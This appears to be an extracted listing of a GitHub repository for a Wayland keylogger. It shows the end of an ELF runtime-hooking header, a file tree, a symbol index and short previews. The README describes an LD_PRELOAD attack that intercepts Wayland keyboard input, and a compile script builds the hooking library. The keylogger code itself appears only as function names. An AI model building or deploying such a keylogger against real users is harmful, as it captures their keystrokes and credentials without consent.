__PUBLIC int eh_find_sym(eh_obj_t *obj, const char *name, void **to);
/**
* \brief Walk through list of symbols in object
* \param obj elfhacks program object
* \param callback callback function
* \param arg argument passed to callback function
* \return 0 on success otherwise an error code
*/
__PUBLIC int eh_iterate_sym(eh_obj_t *obj, eh_iterate_sym_callback_func callback, void *arg);
/**
* \brief Iterates through object's .rel.plt and .rela.plt and sets every
* occurrence of some symbol to the specified value.
* \param obj elfhacks program object
* \param sym symbol to replace
* \param val new value
* \return 0 on success otherwise a positive error code
*/
__PUBLIC int eh_set_rel(eh_obj_t *obj, const char *sym, void *val);
/**
* \brief Walk through object's .rel.plt and .rela.plt
* \param obj elfhacks program object
* \param callback callback function
* \param arg argument passed to callback function
*/
__PUBLIC int eh_iterate_rel(eh_obj_t *obj, eh_iterate_rel_callback_func callback, void *arg);
/**
* \brief Destroy eh_obj_t object.
* \param obj elfhacks program object
* \return 0 on success otherwise a positive error code
*/
__PUBLIC int eh_destroy_obj(eh_obj_t *obj);
/** \} */
#ifdef __cplusplus
}
#endif
gitextract_h0wh0vaf/ ├── .gitignore ├── Keylogger.cpp ├── README.md ├── compile ├── elfhacks.c └── elfhacks.h
SYMBOL INDEX (65 symbols across 3 files)
FILE: Keylogger.cpp
type wl_proxy (line 16) | struct wl_proxy
type wl_proxy (line 16) | struct wl_proxy
type wl_interface (line 16) | struct wl_interface
type wl_proxy (line 17) | struct wl_proxy
type wl_proxy (line 17) | struct wl_proxy
type wl_interface (line 17) | struct wl_interface
type wl_proxy (line 18) | struct wl_proxy
type wl_proxy (line 22) | struct wl_proxy
type wl_proxy (line 22) | struct wl_proxy
type wl_interface (line 22) | struct wl_interface
type wl_proxy (line 23) | struct wl_proxy
type wl_proxy (line 23) | struct wl_proxy
type wl_interface (line 23) | struct wl_interface
type wl_proxy (line 24) | struct wl_proxy
function init_hooks (line 28) | void init_hooks() {
type Hook (line 72) | struct Hook {
type KeyLoggerData (line 82) | struct KeyLoggerData {
function MyHandleKeyboardKeymap (line 87) | void MyHandleKeyboardKeymap(void* data, wl_keyboard* keyboard, uint32_t ...
function MyHandleKeyboardEnter (line 91) | void MyHandleKeyboardEnter(void* data, wl_keyboard* keyboard, uint32_t s...
function MyHandleKeyboardLeave (line 95) | void MyHandleKeyboardLeave(void* data, wl_keyboard* keyboard, uint32_t s...
function MyHandleKeyboardKey (line 99) | void MyHandleKeyboardKey(void* data, wl_keyboard* keyboard, uint32_t ser...
function MyHandleKeyboardModifiers (line 108) | void MyHandleKeyboardModifiers(void* data, wl_keyboard* keyboard, uint32...
function MyHandleKeyboardRepeatInfo (line 112) | void MyHandleKeyboardRepeatInfo(void* data, wl_keyboard* keyboard, int32...
type wl_proxy (line 126) | struct wl_proxy
type wl_proxy (line 129) | struct wl_proxy
type wl_proxy (line 129) | struct wl_proxy
type wl_interface (line 129) | struct wl_interface
type wl_proxy (line 131) | struct wl_proxy
type wl_proxy (line 140) | struct wl_proxy
type wl_proxy (line 140) | struct wl_proxy
type wl_interface (line 140) | struct wl_interface
type wl_proxy (line 142) | struct wl_proxy
function my_wl_proxy_add_listener (line 150) | int my_wl_proxy_add_listener(struct wl_proxy *factory, void (**implement...
type wl_proxy (line 166) | struct wl_proxy
type wl_proxy (line 166) | struct wl_proxy
type wl_interface (line 166) | struct wl_interface
type wl_proxy (line 171) | struct wl_proxy
type wl_proxy (line 171) | struct wl_proxy
type wl_interface (line 171) | struct wl_interface
function wl_proxy_add_listener (line 176) | int wl_proxy_add_listener(struct wl_proxy *factory, void (**implementati...
FILE: elfhacks.c
type eh_iterate_callback_args (line 27) | struct eh_iterate_callback_args {
type dl_phdr_info (line 33) | struct dl_phdr_info
function eh_find_callback (line 49) | int eh_find_callback(struct dl_phdr_info *info, size_t size, void *argptr)
function eh_iterate_callback (line 73) | int eh_iterate_callback(struct dl_phdr_info *info, size_t size, void *ar...
function eh_iterate_obj (line 101) | int eh_iterate_obj(eh_iterate_obj_callback_func callback, void *arg)
function eh_find_obj (line 115) | int eh_find_obj(eh_obj_t *obj, const char *soname)
function eh_check_addr (line 130) | int eh_check_addr(eh_obj_t *obj, const void *addr)
function eh_init_obj (line 149) | int eh_init_obj(eh_obj_t *obj)
function eh_find_sym (line 233) | int eh_find_sym(eh_obj_t *obj, const char *name, void **to)
function eh_hash_elf (line 256) | ElfW(Word) eh_hash_elf(const char *name)
function eh_find_sym_hash (line 273) | int eh_find_sym_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym)
function Elf32_Word (line 325) | Elf32_Word eh_hash_gnu(const char *name)
function eh_find_sym_gnu_hash (line 337) | int eh_find_sym_gnu_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym)
function eh_iterate_sym (line 414) | int eh_iterate_sym(eh_obj_t *obj, eh_iterate_sym_callback_func callback,...
function eh_find_next_dyn (line 422) | int eh_find_next_dyn(eh_obj_t *obj, ElfW_Sword tag, int i, ElfW(Dyn) **n...
function eh_set_rela_plt (line 449) | int eh_set_rela_plt(eh_obj_t *obj, int p, const char *sym, void *val)
function eh_set_rel_plt (line 470) | int eh_set_rel_plt(eh_obj_t *obj, int p, const char *sym, void *val)
function eh_set_rel (line 490) | int eh_set_rel(eh_obj_t *obj, const char *sym, void *val)
function eh_iterate_rela_plt (line 520) | int eh_iterate_rela_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_fu...
function eh_iterate_rel_plt (line 550) | int eh_iterate_rel_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_fun...
function eh_iterate_rel (line 580) | int eh_iterate_rel(eh_obj_t *obj, eh_iterate_rel_callback_func callback,...
function eh_destroy_obj (line 604) | int eh_destroy_obj(eh_obj_t *obj)
FILE: elfhacks.h
type eh_obj_t (line 70) | typedef struct {
type eh_sym_t (line 94) | typedef struct {
type eh_rel_t (line 106) | typedef struct {
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (34K chars).
[
{
"path": ".gitignore",
"chars": 24,
"preview": "libwayland-keylogger.so\n"
},
{
"path": "Keylogger.cpp",
"chars": 8976,
"preview": "/*\nCopyright (c) 2012-2014 Maarten Baert <maarten-baert@hotmail.com>\n\nPermission to use, copy, modify, and/or distribute"
},
{
"path": "README.md",
"chars": 2699,
"preview": "wayland-keylogger\n=================\n\n### Summary\n\n**TL;DR** - This is a `LD_PRELOAD` attack that intercepts the Wayland "
},
{
"path": "compile",
"chars": 97,
"preview": "#!/bin/bash\n\ng++ -Wall -pipe -shared -fpic *.cpp *.c -lwayland-client -o libwayland-keylogger.so\n"
},
{
"path": "elfhacks.c",
"chars": 14130,
"preview": "/**\n * \\file src/elfhacks.c\n * \\brief various ELF run-time hacks\n * \\author Pyry Haulos <pyry.haulos@gmail.com>\n * \\date"
},
{
"path": "elfhacks.h",
"chars": 5384,
"preview": "/**\n * \\file src/elfhacks.h\n * \\brief elfhacks application interface\n * \\author Pyry Haulos <pyry.haulos@gmail.com>\n * \\"
}
]
About this extraction
This page contains the full source code of the Aishou/wayland-keylogger GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (30.6 KB), approximately 9.4k tokens, and a symbol index with 65 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.